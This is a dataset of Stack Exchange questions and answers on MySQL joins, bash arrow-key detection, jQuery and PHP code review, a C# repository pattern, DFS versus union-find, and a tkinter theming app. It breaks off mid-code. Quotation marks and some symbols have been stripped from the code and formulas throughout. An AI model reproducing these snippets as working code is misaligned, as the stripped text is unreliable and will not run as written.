{  "id": "_softwareengineering.221971"  , "question": "In my case joining table inside subquery or outside subquery gives very few difference with COUNT CASE 1: about 6202 rows.In this case table_c is joined inside subquery, but is only joined (No other actions for the table, not selecting any data or filtering whole query with that table).CASE 2: about 6235 rows.In this case that table is joined outside of subquery but joining key (groupCol) is the same.Here is my self-explanatory MySQL query:SELECT     COUNT(*)FROM (    SELECT          a.*        , b.some        # no c columns    # main table    FROM table_a      AS a    # no mention this    LEFT JOIN table_b AS b    ON a.col = b.bcol    #### CASE 1 ###    # this is left joined, this is matter    # this is only joined, does nothing more    LEFT JOIN table_c AS c    ON c.col = a.groupCol    #### CASE 1 ### WHERE     *** SOME statements ***     # c table not participating in WHERE, or GROUP-ing clause GROUP BY a.groupCol  ORDER BY a.dateCol) AS subSelect #### CASE 2 : table_c is joined outside of subquery ###LEFT JOIN table_c AS cON c.col = subSelect.groupCol#### CASE 2 ###WHERE     *** SOME statements ***     # table_c still not participating of courseI also know how does MySQL LEFT JOIN works: if data not found on second table, row corresponding fields from that table are set to null. What what actually happens here I can't figure out. Also case 1 is faster than case 2.Why? Also for sure, that joining in case 1, contains least double amount of rows. In case 2 it's first filtered and then joined.I thought this should be faster way..."  , "title": "How do MySQL joins really work?"  , "tags": "mysql"  , "accepted_answer": "I performed two queries in MySQL while using EXPLAIN.  The first one being the following:select count(*) from parentleft outer join child on child.parent_id = id;The second being the following:select count(*) from (    select * from parent p    left outer join child c on c.parent_id = p.id) count;They both returned 68 records, which implies if you're getting something different, it is because of a filter you're using, not the way in which the query is being performed.  When I run explain on the first query I get the following:'1', 'SIMPLE', 'parent', 'index', NULL, 'FK8338B25AD02D715A', '9', NULL, '15', 'Using index''1', 'SIMPLE', 'child', 'ref', 'PRIMARY,FKAFAB561391AEEB78', 'FKAFAB561391AEEB78', '8', 'db.parent.id', '2', 'Using index'And when I run the second query I get the following:'1', 'PRIMARY', NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'Select tables optimized away''2', 'DERIVED', 'p', 'ALL', NULL, NULL, NULL, NULL, '15', '''2', 'DERIVED', 'c', 'ref', 'PRIMARY,FKAFAB561391AEEB78', 'FKAFAB561391AEEB78', '8', 'db.p.id', '2', 'Using index'The DERIVED merely means that I used aliases for the tables which were necessary in the second query in order to work properly.  Otherwise, you'll notice they're very similar.  You'll notice the only other major difference is an additional line Select tables optimized away.  This is an optimization which MySQL performs in order to reduce the queries and make it simpler.  In other words, the second query is only requiring MySQL to optimize in addition to the actual query, so it can only be slower and provide the same results as the first.  If your count is not consistent between these two queries, it is likely because something else is going on which is probably a filter of some sort.  Hope that helps!"  } 
{  "id": "_unix.179191"  , "question": "Why does this always detect as true, even if the keycode is not right-arrow-key?stty_state=`stty -g`stty raw; stty -echokeycode=`dd bs=1 count=1 2>/dev/null`stty $stty_state  echo $keycodeif [ $keycode=39 ]; thenecho Right Arrow Key Pressed!fi"  , "title": "bashscript to detect right arrow key being pressed"  , "tags": "bash;shell script"  , "accepted_answer": "You (likely) read first out of two+ bytes. $keycode in your script would be ESC when arrow key is pressed.Arrow keys can be:\\x1b + some valueIt always evaluates to true because of missing spaces in conditional expression.Edit: an update on that statement.Your if operates on the exit status of the [ command. The [ command is equivalent to test. The fact that it is a command is a very important fact. As a command it require spaces between arguments. The [ command is further special in that it require ] as last argument.[ EXPRESSION ]The command exits with the status determined by EXPRESSION. 1 or 0, true or false. It is not an exotic way to write parenthesis. In other words it is not part of the if syntax as for example in C:if (x == 39)By:if [ $keycode=39 ]; thenyou issue:[ $keycode=39 ]which expands to[ \\x1b=39 ]here \\x1b=39 is read as one argument. When test or [ is given one argument it exits with false only if EXPRESSION is null  which is is never going to be. Even if $keycode was empty, it would result in =39 (which is not null / empty).Another way to look at it is that you say:if 0 ; then # When _command_ exit with 0.if 1 ; then # When _command_ exit with 1.Read these questions and answers for more details  as well as discussion on [ vs [[:using single or double bracket - bashWhat do square brackets mean without the if on the left?In that regard you could also research back ticks `` vs $( )Multibyte escape sequence with arrow keys:As mentioned at the top: You (likely) read first out of two+ bytes. $keycode in your script would be ESC when arrow key is pressed. Arrow and other special keys result in escape sequences to be sent to the system. The ESC byte signals that here comes some bytes that should be interpreted differently. As for arrow keys that would be the ASCII [ followed by ASCII A, B, C or D.In other words you have to parse three bytes when dealing with arrow keys.You could try something in the direction of this to check:{   stty_state=$(stty -g)    stty raw isig -echo    keycode=$(dd bs=8 conv=sync count=1)    stty $stty_state} </dev/tty 2>/dev/nullprintf %s $keycode | xxdYield:HEX        ASCII1b 5b 41   .[A # Up arrow1b 5b 42   .[B # Down arrow1b 5b 43   .[C # Right arrow1b 5b 44   .[D # Left arrow |  |  | |  |  +------ ASCII A, B, C and D |  +--------- ASCII [ +------------ ASCII ESCNot sure how portable this is, but have earlier played around with code like this for catching arrow keys. Press q to quit:while read -rsn1 ui; do    case $ui in    $'\\x1b')    # Handle ESC sequence.        # Flush read. We account for sequences for Fx keys as        # well. 6 should suffice far more then enough.        read -rsn1 -t 0.1 tmp        if [[ $tmp == [ ]]; then            read -rsn1 -t 0.1 tmp            case $tmp in            A) printf Up\\n;;            B) printf Down\\n;;            C) printf Right\\n;;            D) printf Left\\n;;            esac        fi        # Flush stdin with 0.1  sec timeout.        read -rsn5 -t 0.1        ;;    # Other one byte (char) cases. Here only quit.    q) break;;    esacdone(As a minor note you also (intend to) test against decimal 39  which looks like a mixup between decimal and hexadecimal. First byte in an escape sequence is ASCII value ESC, which is decimal 27 and hexadecimal 0x1b, while decimal 39 is hexadecimal 0x27.)"  } 
{  "id": "_softwareengineering.342181"  , "question": "I'd like some advice on how to approach this problem. I have a database of ~3000 pictures of people. Their names are built into the filename but there is no standard format. Here are some common name formats:  MarySue-042; henry higgins03; J. H. Doe; Jones, Peter; and M N Shyamalan, MD. Some have middle names and some don't; sometimes the last name comes first, sometimes it doesn't. There are also some non-people names, like 1122 Lundee Street, MemorialHospital etc. I'm renaming them in a standard format. I'd like to build a model that can Recognize a probable name format, and/or Determine which format the name follows.I'd like some advice on the best way to do this. My plan at the moment is to build a bunch of regex expressions for the most common formats and check if the filename fits one. If a one-off name gets overlooked, I can change it manually. What I Tried So Far:I've built a regular expression for the most common name format, FirstLast-[0-9]. It's [A-Z][a-z]+[A-Z][a-z]+-[0-9]+. The problem is, this also picks up location names like MemorialHospital-02. I thought about discarding ones where the letters in either position exceed a certain length, but I have some people with very long names that this approach would ignore.Furthermore, although this is the most common name format, there is a significant amount of names in different formats, so I'm still missing a lot."  , "title": "Algorithm to determine if filename contains a name or not"  , "tags": "algorithms;programming practices;prediction"  , "accepted_answer": "Here's how I would approach the problem.Start by getting somewhere a dictionary of names (John).Get a dictionary of words (hospital) and geographical locations (London).For every string among the 3 000 ones, compute the number of occurrences of persons' names, and the number of occurrences of words and geographical locations.If a given string contains only persons' names, that's likely to be a person. If it contains only words and locations, it's probably not a person.Hopefully, the ones which contain both are not too numerous. Those ones could be handled manually."  } 
{  "id": "_codereview.19283"  , "question": "I have the following in the header.php file which is included in all of my views:$dh = opendir(Vs.get_class($this).'/js') ;while($script = readdir($dh)) {    if(!is_dir($script))    {        echo '<script type=text/javascript src=js/'.$script.'></script>' ;    }}$dh = opendir(Vs.get_class($this).'/css') ;while($css = readdir($dh)) {    if(!is_dir($css))    {        echo '<link type=text/css href=css/'.$css.' rel=stylesheet/>' ;    }}It's purpose is to autoload all the CSS and JS files for a particular view (which has the same name as the controller, hence get_class).Should all this be a part of the associated controller or is how I have done it fine?"  , "title": "File loop and logic in controller of view header"  , "tags": "php;object oriented;mvc"  } 
{  "id": "_codereview.12646"  , "question": "I've just completed a JavaScript module and I've got a strong feeling that this is borderline spaghetti code. My task was to build a tagging form which adds selected tags to hidden outputs to be sent to a server.var tags = [];var createdTags;var addedTags = [];var isNewTag, selectedTag, i;$(#created-tags).attr(value, []);$.ajax({    type: GET,    cache: false,    dataType: 'json',    url: /portal/index.php/movies/get_tags,    success:        function(response) {            $(#tags-typealong).autocomplete({                source: response,                minLength: 1,                select: function (event, ui) {                    event.preventDefault();                                 selectedTag = ui.item;                    //tags = current tags                    tags = $.parseJSON($('#tags').attr('value'));                    isNewTag = true;                    //is tag already added?                    for(i = 0; i < tags.length; i++) {                        if(selectedTag.id == tags[i].id)                            isNewTag = false;                    }                    //update addedTags if new                    if(isNewTag) {                        tags.push(selectedTag);                        addedTags.push(selectedTag.id);                        add_tag_render(selectedTag.name);                    }                    //update dom for tag_form.js                    $(#tags).attr(value, JSON.stringify(tags));                    $(#added-tags).attr(value, JSON.stringify(addedTags));                    $(#tags-typealong).val('');                }            }).data( autocomplete )._renderItem = function( ul, item ) {                return $(<li></li>)                    .data( item.autocomplete, item )                    .append( '<a>' + item.name  + '</a>' )                    .appendTo(ul);            }        }});$(#tags-typealong).keyup(function (event) {    var isNew = true;    if(event.keyCode == 32) {        //get updated tag selections        var tagName = $(this).val();        tagName = tagName.slice(0, -1);        createdTags = $.parseJSON($('#created-tags').attr('value'));        tags = $.parseJSON($('#tags').attr('value'));        //check tags from db        for(i = 0; i < tags.length; i++) {            if(tags[i].name == tagName)                isNew = false;        }        //check existing created tags        for(i = 0; i < createdTags.length; i++) {            if(createdTags[i] == tagName)                isNew = false;        }        if(isNew) {            add_tag_render(tagName);            createdTags.push(tagName);            $(#created-tags).attr(value, JSON.stringify(createdTags));        }        $(#tags-typealong).val('');        //TODO!        //is tagname in db already?    }});function add_tag_render(tagName) {    $(.tag-container).append('<div class=selected-tag><div class=selected-tag-name>' + tagName + '</div><div class=remove-tag></div></div>');    $(#tags-typealong).appendTo(.tag-container);    $(#tags-typealong).focus();}"  , "title": "Module to support autocomplete for movie tags"  , "tags": "javascript;beginner;jquery;modules;autocomplete"  , "accepted_answer": "On the whole I don't think there's anything I would have done very differently. However, there are numerous ways your existing code can be improved (but not restructured, so I'm only going to talk about your code in its current form).So let's start right at the beginning:var tags = [];var createdTags;var addedTags = [];var isNewTag, selectedTag, i;The first thing that leaps out at me is the mixed style. Not a problem, but it would probably be sensible to stick to one. I (and JSLint) prefer the style of one var statement per scope. The next thing I notice is that tags is assigned a value later on, so there is no point assigning it a value here. To sum up that paragraph in code:var tags,    createdTags,    addedTags = [],    isNewTag,     selectedTag,    i;On the next line you set the value of what is presumably an input element. The val method was designed specifically for that, so should probably be used here (and in the numerous other places you use attr):$(#created-tags).val([]);The next line is your call to ajax. This can be shortened considerably because there is a jQuery method, getJSON, that behaves exactly the same as your ajax call (update - as pointed out in the comments, this isn't quite equivalent. It doesn't set the cache option. If it's important the the cache option is set then you'll have to stick with $.ajax):$.getJSON(/portal/index.php/movies/get_tags, function(response) {    //Your success event handler});Let's look at the body of your keyup event callback. The first thing that I notice here is the fact that you are searching the DOM for some elements every time it's called. Since keyup is probably triggered quite often, it would be more efficient to cache the results of your selectors. I would add the following declarations to the var statement at the top:var tagsElem = $(#tags),    createdTagsElem = $(#created-tags),    tagsTypealong = $(#tags-typealong);You can then use those identifiers in the keyup event callback (and the AJAX success callback) instead of having to search the DOM for those elements every time.In the keyup callback you use both the jQuery $.parseJSON method and the native JSON.stringify method. Since you're using a native JSON method for stringifying, I would suggest using the equivalent native method for parsing too, JSON.parse, since it's going to be faster then that jQuery version. And don't forget to polyfill the native JSON methods so you can support older browsers."  } 
{  "id": "_codereview.156856"  , "question": "BackgroundI'm about to build a LOB application that resembles an e-commerce solution (without paying and being open to the public). It will be used to receive orders for fulfillment purposes based on fulfillment contracts with one or more companies. The UI will be MVC, and it's a going to be a pretty simple site.ChallengeMost orders that are placed on the site will be fulfilled by our company, however there are orders that will be sent to one or more off-site fulfillment centers (not owned by us, each likely with a different API/workflow). Simply put, there will be multiple order processing workflows. There will also likely be different requirements for calculating inventory on hand on a per-customer basis.All that being said, I'm more of a front-end UI/UX guy and I want to confirm that the way I'm planning on handling this is reasonable.If any of the verbiage I'm using below is incorrect, please correct me. Additionally, this is my first time using asyc/await also, so don't be shy about correcting my implementation. SetupNote: My boss prefers architectural patters that are as simple as we can make them without sacrificing long-term software viability.For the sake of this question, we're only going to be dealing with the order object.My solution currently looks like this:First I created an interface called IOrderRepository:public interface IOrderRepositoy{    Task<Model.Order> CreateOrderAsync(Model.Order order);    Task<IEnumerable<Model.Order>> CreateOrderAsync(IEnumerable<Model.Order> orders);}Then I created a partial Business.Order class which implements IOrderRepository and inherits Model.Order from entity framework:namespace AdventureWorks.Business{    internal partial class Order : Model.Order, IOrderRepositoy    {        public virtual async Task<IEnumerable<Model.Order>> CreateOrderAsync(IEnumerable<Model.Order> orders)        {            var db = new AWEntities();            db.Orders.AddRange(orders);            await db.SaveChangesAsync();            return orders;        }        public virtual async Task<Model.Order> CreateOrderAsync(Model.Order order)        {            var db = new AWEntities();            db.Orders.Add(order);            await db.SaveChangesAsync();            return order;        }    }}Next, I created a class to house the custom logic for a specific customer called GAC_Order. If custom logic is required, I override the CreateOrderAsync method(s) found in the partial Order class. In the example below, I chose to call base.CreateOrderAsync() as well, but there will likely be cases where base.CreateOrderAsync() does not get called.namespace AdventureWorks.Business.Repositories{    internal class GAC_Order : Business.Order    {        public async override Task<Model.Order> CreateOrderAsync(Model.Order order)        {            // Custom code to override or add to base funcionality.            // Can be run before or after base code            // Add 5 days to required time field            order.RequiredDate = DateTime.Now.AddDays(5);            // Run base create order functionality            await base.CreateOrderAsync(order);            // Run custom functionality            return order;        }        public async override Task<IEnumerable<Model.Order>> CreateOrderAsync(IEnumerable<Model.Order> orders)        {            // Run base create order functionality            await base.CreateOrderAsync(orders);            // Run custom functionality            return orders;        }    }}Finally, I created a repository factory to determine which implementation of the IOrderRepository would be returned to me. If a custom implementation is not defined at the customer level, the base implementation is used:namespace AdventureWorks.Business{    public static class RepositoryFactory    {        public static IOrderRepositoy GetRepository(Model.Customer customer, Type repoType)        {            if (repoType == typeof(Business.IOrderRepositoy))            {                if (customer.OrderRepository == null || String.IsNullOrEmpty(customer.OrderRepository))                {                    return new Business.Order();                }                else                {                    var assembly = Assembly.GetExecutingAssembly();                    var type = assembly.GetTypes().First(t => t.Name == customer.OrderRepository);                    return Activator.CreateInstance(type) as IOrderRepositoy;                }            }            else            {                // TODO: Used if/else and type passing to prepare for additional custom logic            }        }    }}When I need to create an order, I call it like this:// Create Order objectModel.Order order = new Model.Order();order.ShipPostalCode = 30189;order.OrderDate = DateTime.Now;// NOTE: This would come from DB in real-worldModel.Customer customer = new Model.Customer();customer.OrderRepository = GAC_Order;// Get order repositoryBusiness.IOrderRepositoy orderRepository = Business.RepositoryFactory.GetRepository(customer, typeof(Business.IOrderRepositoy));// Create orderorderRepository.CreateOrderAsync(order);QuestionsThis works, but is this a valid way to account allow for a default workflow, AND also allow for other workflows on a per-customer basis?Am I correct in assuming that this is a simple repository pattern (i.e., am I using the correct terminology here?)?"  , "title": "Handing multiple workflows cleanly in LOB application"  , "tags": "c#;design patterns;entity framework;interface;repository"  , "accepted_answer": "Repository patternTo start with your second questionAm I correct in assuming that this is a simple repository pattern?No it isn't. When the choice for Entity Framework has been made (which is good), the simplest repository is the one EF provides out of the box: the DbSet. In this case, db.Orders. Any layer on top of that can be useful, but shouldn't be applied just because it seems such a good idea to implement the repository pattern. It's already there! You emphasize that the application is to be simple, so I wouldn't stack layer upon layer prematurely.The base lineThe only thing you really need to persist Orders is the part (slightly rewritten):using(var db = new AWEntities()){    db.Orders.AddRange(orders);    await db.SaveChangesAsync();}All other pieces of code that wrap this part can be deemed redundant. As the ultimate (over) simplification you could even write this code directly in an MVC controller's action method. No added layers involved and the job is done.Useful layers?Anything added on top of this base line should be carefully considered. Additions should be useful, not restrictive.Your proposed architecture is restrictive because it is vertical. You seem to have a column of abstractions for each entity: Model.Order, Order (as IOrderRepository), Business.Order with subclasses like GAC_Order. Then there is a Model.Customer class, maybe part of a similar column. This architecture has the same drawbacks as Data Access Object: it will lead to multiple isolated queries and repetitive code.Alternatives?This columns-per-entity setup defeats the purpose of an OR mapper like Entity Framework, which is to work with object graphs that map to a relational data model. When you need orders and their related customers you can get them in one LINQ query. Likewise, when you want to save orders and customers, you can add them to the context and do one SaveChanges call to save everything in one transaction.This has made me move to API-oriented architectures. I usually create services that live for the duration of one web request. Each service has a number of methods that execute some business case, like creating orders. For this, the service has one context instance that can pretty freely be used inside the service methods. This works best in combination with dependency injection (or Inversion of Control, IoC), but that's not a prerequisite.This is, very briefly, what it could look like:public class OrdersController : Controller{    private readonly IOrderService _orderService;    public OrdersController(IOrderService orderService)    {        // Injected by IoC, or just new it up here.        this._orderService = orderService;    }    [HttpPost]    public ActionResult Create(FormCollection collection)    {        var orderDto = new OrderDto {properties from method parameter};        _orderService.CreateOrder(orderDto);        // Exception handling, return view, etc.    }}The DTOs serve as an abstraction layer between UI and service, so the UI can change without implications for the service layer and vise versa.Service layer:public interface IOrderService{    ServiceResult CreateOrder(OrderDto orderDto);}class OrderService : IOrderService{    private readonly BusinessContext _context;    public OrderService(BusinessContext context)    {        // Injected by IoC, or just new it up here.        this._context = context;    }    public ServiceResult CreateOrder(OrderDto orderDto)    {        // Do the business    }}In short, this would mean that each step in a workflow would be represented by a service method. The UI just issues commands and reads results. It doesn't contain any business logic whatsoever."  } 
{  "id": "_cs.47596"  , "question": "According to CLRS,When the edges of the graph are staticnot changing over timewe can  compute the connected components faster by using depth-first search.However, I tried to do some runtime analysis, and in a graph $G(V, E)$ on which we have to answer $Q$ connectivity queries.DFS would take $O(V+E)$ asymptotic time to calculate the connected components, followed by $O(1)$ to answer each query, which leads to a total running time of $O(V+E+Q)$.Whereas, an optimised Union Find would take $O(E.(V))$ time to add all the edges, followed by $O((V))$ per query, which gives a total running time of $O((V).(E+Q))$. Now, as we, know $$ can be taken to be a constant factor for all practically conceivable applications, so Union Find works out to be faster,hence I am confused as to why the authors of CLRS call DFS faster.Am I making a mistake with my analysis somewhere?"  , "title": "DFS vs. Union Find for computing connected components of a static graph"  , "tags": "graph theory;runtime analysis"  } 
{  "id": "_codereview.163771"  , "question": "I have a function that will .destroy() a custom scrollbar and then recreates the scrollbar with a new theme. My IDE (Eclipse) is telling me that my function contains Undefined Variables. The error is not stopping me from running my program and I know that if the variable is not there my try statement will run a different code to create the scrollbar variable. I also know I can use #@UndefinedVariable to tell my IDE to not worry about the undefined variable.Keep 2 things in mind:My scrollbar is custom. It is not the tkinter scrollbar. I have this custom scrollbar so I can change the colors(theme) of the sliders, background, and arrows on the scrollbar as the tkinter scrollbar cannot do this on Windows or Mac machines.My custom scrollbar does not currently have a way to manipulate the colors once it has been initialized. Because of this I decided the best way to change the theme of my scrollbar was to create a try statement that would first try to destroy the scrollbars and recreate them with the new theme or on except create the scrollbars because there was none to begin with.My question is this:Is it a problem for me to manage my scrollbar this way? Should I be going about this a different way?I just feel like I am using the try statement in a way it was not meant to be used. Maybe I am just over thinking this and it is fine but it's best to know for sure so I don't make a habit of doing things the wrong way.Below is the chopped down version of how I create and manage my scrollbars:from tkinter import *import scrollBarClass #Custom scrollbar classpyBgColor =  #%02x%02x%02x % (0, 34, 64)pyFrameColor =  #%02x%02x%02x % (0, 23, 45)root = Tk()root.title(MINT:   Mobile Information & Note-taking Tool)root.geometry(500x500)root.config(bg = pyFrameColor)root.columnconfigure(0, weight=1)root.rowconfigure(0, weight=1)currentTextColor = 'orange'def doNothing():    print(Do lots of nothing?)# ~~~~~~~~~~~~~~~~~< Theme >~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ def MintThemeDefault(mainBG, textBG, txtColor):    # Some theme configs    # More theme configs    # and so on...    root.text.config(bg = textBG, fg = txtColor)    try:        vScrollBar.destroy() #@UndefinedVariable        hScrollBar.destroy() #@UndefinedVariable        makeScrollBars(textBG, txtColor, mainBG)    except:        makeScrollBars(textBG, txtColor, mainBG)def makeScrollBars(textBG,txtColor,mainBG):    vScrollBar = scrollBarClass.MyScrollbar(root, width=15, command=root.text.yview, troughcolor = textBG,                                            buttontype = 'square', thumbcolor = txtColor, buttoncolor = mainBG)    vScrollBar.grid(row = 0, column = 1, columnspan = 1, rowspan = 1, padx =0, pady =0, sticky = N+S+E)    root.text.configure(yscrollcommand=vScrollBar.set)    vScrollBar.config(background = mainBG)    hScrollBar = scrollBarClass.MyScrollbar(root, height=15, command=root.text.xview, orient='horizontal', troughcolor = textBG,                                            buttontype = 'square', thumbcolor = txtColor, buttoncolor = mainBG)    hScrollBar.grid(row = 1 , column = 0, columnspan = 1, rowspan = 1, padx =0, pady =0, sticky = S+W+E)    root.text.configure(xscrollcommand=hScrollBar.set)    hScrollBar.config(background = mainBG)# ~~~~~~~~~~~~~~~~~< THEMES >~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~   def MintTheme1():    mainBGcolor = #%02x%02x%02x % (64,89,82)    textBGcolor = #%02x%02x%02x % (17,41,41)    txtColor = #%02x%02x%02x % (175, 167, 157)    MintThemeDefault(mainBGcolor,textBGcolor,txtColor)def MintTheme2():    global currentTextColor    mainBGcolor = #%02x%02x%02x % (14, 51, 51)    textBGcolor = #%02x%02x%02x % (4, 22, 22)    txtColor = #%02x%02x%02x % (223, 171, 111)    MintThemeDefault(mainBGcolor,textBGcolor,txtColor) # ~~~~~~~~~~~~~~~~~< Theme Menu >~~~~~~~~~~~~~~~~~~~~~~~~~~~~ def libraryMenu():    menu = Menu(root)    root.config(menu=menu)        prefMenu = Menu(menu, tearoff=0)    menu.add_cascade(label=Preferences, menu=prefMenu)    prefMenu.add_command(label = Mint Theme 1, command = MintTheme1)    prefMenu.add_command(label = Mint Theme 2, command = MintTheme2)libraryMenu()# ~~~~~~~~~~~~~~~~~< FRAMES >~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ root.text = Text(root, undo = True)root.text.grid(row = 0, column = 0, rowspan = 1, columnspan = 1, padx =0, pady =0, sticky = N+S+E+W)root.text.config(bg = pyFrameColor, fg = white, font=('times', 16), insertbackground = orange)root.text.config(wrap=NONE)# ~~~~~~~~~~~~~~~~~< Default Theme >~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ MintThemeDefault(#%02x%02x%02x%(64,89,82),#%02x%02x%02x%(0, 23, 45),#%02x%02x%02x%(175, 167, 157))root.mainloop()In order for you to test this code you will need the scrollBarClass.py file. Here is my Github Link for the file. Just put the scrollBarClass.py file in the same directory as the main.py file you are using to test the code with.I am adding the complete code for review. Note that this program works fine without any major errors but does require a few files to function. See my GitHub for this project called MINT.from tkinter import *import timeimport tkinter.messageboximport tkinter.simpledialogimport jsonfrom string import ascii_letters, digitsimport osimport scrollBarClass# Created on Mar 21, 2017# @author: Michael A McDonnalpyBgColor =  #%02x%02x%02x % (0, 34, 64)pyFrameColor =  #%02x%02x%02x % (0, 23, 45)root = Tk()root.title(MINT:   Mobile Information & Note-taking Tool)root.geometry(1050x900)root.minsize(800,600)root.config(bg = pyFrameColor)root.columnconfigure(0, weight=0)root.columnconfigure(1, weight=1)root.rowconfigure(0, weight=0)root.rowconfigure(1, weight=1)#root.rowconfigure(2, weight=1)#~~~~~~~~~~~~~~~~~~~< Windows stuff >~~~~~~~~~~~~~~~~~~~~~~~~~~~~# row0label = Label(root)# row0label.grid(row = 0 , column = 0 )# row0label.configure(text =                                                                               )#~~~~~~~~~~~~~~~~~~~< Global Variables Being Uses >~~~~~~~~~~~~~~~~~~~~~~~~~~path = ./NotesKeys/colorPath = ./Colors/notebook = dict()currentWorkingLib = currentWorkingKeys = currentWorkingButtonColor = orangeselectedTextColor = orangeselectedBGColor = #%02x%02x%02xpostUpdate = False#~~~~~~~~~~~~~~~~~~~< USE TO open all files in Directory >~~~~~~~~~~~~~~~~~~~with open(%s%s%(path,list_of_all_filenames), r) as listall:    list_of_all_filenames = json.load(listall)def openAllFiles():    global path    for filename in os.listdir(path):        with open(path+filename, r) as f:            notebook[filename] = json.load(f)openAllFiles()#~~~~~~~~~~~~~~~~~~~< Prompt For New Library >~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~valid_filename = def new_lib_prompt():    global valid_filename, list_of_all_filenames, path    a_name = tkinter.simpledialog.askstring(Create New Note Library, Alphanumeric and '_' only, initialvalue = Name_Here)    VALID_CHARS = -_.() {}{}.format(ascii_letters, digits)    valid_filename = (.join(c for c in a_name if c in VALID_CHARS)).replace( , _).lower()    if valid_filename !=  and valid_filename != name_here:        if valid_filename not in list_of_all_filenames:            createNewNotesAndKeys(valid_filename)            list_of_all_filenames.append(valid_filename)            with open(%s%s%(path,list_of_all_filenames), r+ ) as f:                    json.dump(list_of_all_filenames, f, indent = )            libraryMenu()        else:            print (Library already exist)    else:        print (No Name Given)def createNewNotesAndKeys(name):    global path, list_of_all_filenames    nName = name+_notes    kName = name+_keys    with open(./NotesKeys/default_notes, r) as defaultN:        nBase = json.load(defaultN)    with open(./NotesKeys/default_keys, r) as defaultK:        kBase = json.load(defaultK)    with open(%s%s%(path,nName), w) as outNotes:        json.dump(nBase, outNotes, indent = )    with open(%s%s%(path,kName), w) as outNotes:        json.dump(kBase, outNotes, indent = )    openAllFiles()#~~~~~~~~~~~~~~~~~~~< USE TO CLOSE PROGRAM >~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~def closeprogram():    answer = tkinter.messagebox.askquestion(Leaving MINT?,Are you sure you want to leave MINT)    if answer == yes:        root.destroy()    else:        tkinter.messagebox.showinfo(MINTy Fresh!,Welcome Back XD)def doNothing():    print(Do lots of nothing?)#~~~~~~~~~~~~~~~~~~~< Message Box >~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~def ihnb():    answer = tkinter.messagebox.askquestion(Do you want to be a Python Programmer?,Do you want to program?)    if answer == yes:        a1 = Then be prepared to spend countless hours hating life!        root.text.delete(1.0, end-1c)        root.text.insert(end-1c, a1)        root.text.see(end-1c)    else:        a2= Smart move. Now go away!        root.text.delete(1.0, end-1c)        root.text.insert(end-1c, a2)        root.text.see(end-1c)#~~~~~~~~~~~~~~~~~~~< UPDATE keyword display >~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~def update_kw_display():    pass    listToPass = [chose a library,chose a library_keys,chose a library_notes,]    if currentWorkingKeys not in listToPass:        keys_to_be_updated = notebook[currentWorkingKeys]        root.textSideL.delete(1.0, end-1c)        root.textSideR.delete(1.0, end-1c)        contr = 0        for item in keys_to_be_updated:            if contr == 0:                root.textSideL.insert(end-1c,item+\\n)                root.textSideL.see(end-1c)                contr += 1            else:                root.textSideR.insert(end-1c,item+\\n)                root.textSideR.see(end-1c)                contr = 0    else:        print(In the list to pass)#~~~~~~~~~~~~~~~~~~~< Search for words and highlight >~~~~~~~~~~~~~~~~~~~~~~~~def searchTextbox(event=None):    root.text.tag_configure(search, background=green)    root.text.tag_remove('found', '1.0', end-1c)    wordToSearch = searchEntry.get().lower()    idx = '1.0'    while idx:        idx = root.text.search(wordToSearch, idx, nocase=1, stopindex=end-1c)        if idx:            lastidx = '%s+%dc' % (idx, len(wordToSearch))            root.text.tag_add('found', idx, lastidx)            idx = lastidx    root.text.tag_config('found', font=(times, 16, bold), foreground ='orange')#~~~~~~~~~~~~~~~~~~~< UPDATE selected_notes! >~~~~~~~~~~~~~~~~~~~def append_notes():    global currentWorkingLib, currentWorkingKeys, path    e1Current = keywordEntry.get().lower()    e1allcase = keywordEntry.get()    e2Current = root.text.get(1.0, end-1c)    answer = tkinter.messagebox.askquestion(Update Notes!,Are you sure you want update your Notes for +e1allcase+ This cannot be undone!)    if answer == yes:        if e1Current in notebook[currentWorkingLib]:            statusE.config(text = Updating Keyword & Notes for the +currentWorkingLib+ Library!)            dict_to_be_updated = notebook[currentWorkingLib]            dict_to_be_updated[e1Current] = e2Current            with open(%s%s%(path,currentWorkingLib),w) as working_temp_var:                json.dump(dict_to_be_updated, working_temp_var, indent = )            statusE.config(text = Update Complete)                  else:            statusE.config(text= Creating New Keyword & Notes for the +currentWorkingLib+ Library!)            dict_to_be_updated = notebook[currentWorkingLib]            dict_to_be_updated[e1Current] = e2Current            with open(%s%s%(path,currentWorkingLib), w ) as working_temp_var:                json.dump(dict_to_be_updated, working_temp_var, indent = )            keys_to_be_updated = notebook[currentWorkingKeys]            keys_to_be_updated.append(e1allcase)            with open(%s%s%(path,currentWorkingKeys), w ) as working_temp_keys:                json.dump(keys_to_be_updated, working_temp_keys, indent = )            statusE.config(text = Update Complete)        update_kw_display()                else:        tkinter.messagebox.showinfo(...,That was close!)      #~~~~~~~~~~~~~~~~~~~< Entry Widget >~~~~~~~~~~~~~~~~~~~~~~~~~~~~~def kw_entry(event=None):    global currentWorkingLib    e1Current = keywordEntry.get().lower()    #e1IgnoreCase = keywordEntry.get()    if currentWorkingLib in notebook:        note_var = notebook[currentWorkingLib]        if e1Current in note_var:            #tags_list=[r(?:<<),r(?:>>),r(?:<),r(?:>)]            root.text.delete(1.0, end-1c)            root.text.insert(end-1c, note_var[e1Current])            root.text.see(end-1c)        else:            root.text.delete(1.0, end-1c)            root.text.insert(end-1c, Not a Keyword)            root.text.see(end-1c)    else:        root.text.delete(1.0, end-1c)        root.text.insert(end-1c, No Library Selected)        root.text.see(end-1c)#~~~~~~~~~~~~~~~~~~~< Preset Themes >~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~baseBGimage=PhotoImage(file=./Colors/pybgbase.png)bgLable = Label(root, image= baseBGimage)bgLable.place(x = 0, y = 0)bgLable.config(image = baseBGimage)bgLable.image = baseBGimagecurrentTextColor = 'orange'def MintThemeDefault(mainBG, textBG, txtColor,bgimage):    global currentTextColor    currentTextColor = txtColor    themeBGimage = bgimage    textFrame.config(bg = textBG)    entryBGimage.config(image = themeBGimage)    entryBGimage.image = themeBGimage    kwBGimage.config(image = themeBGimage)    kwBGimage.image = themeBGimage    bgLable.config(image = themeBGimage)    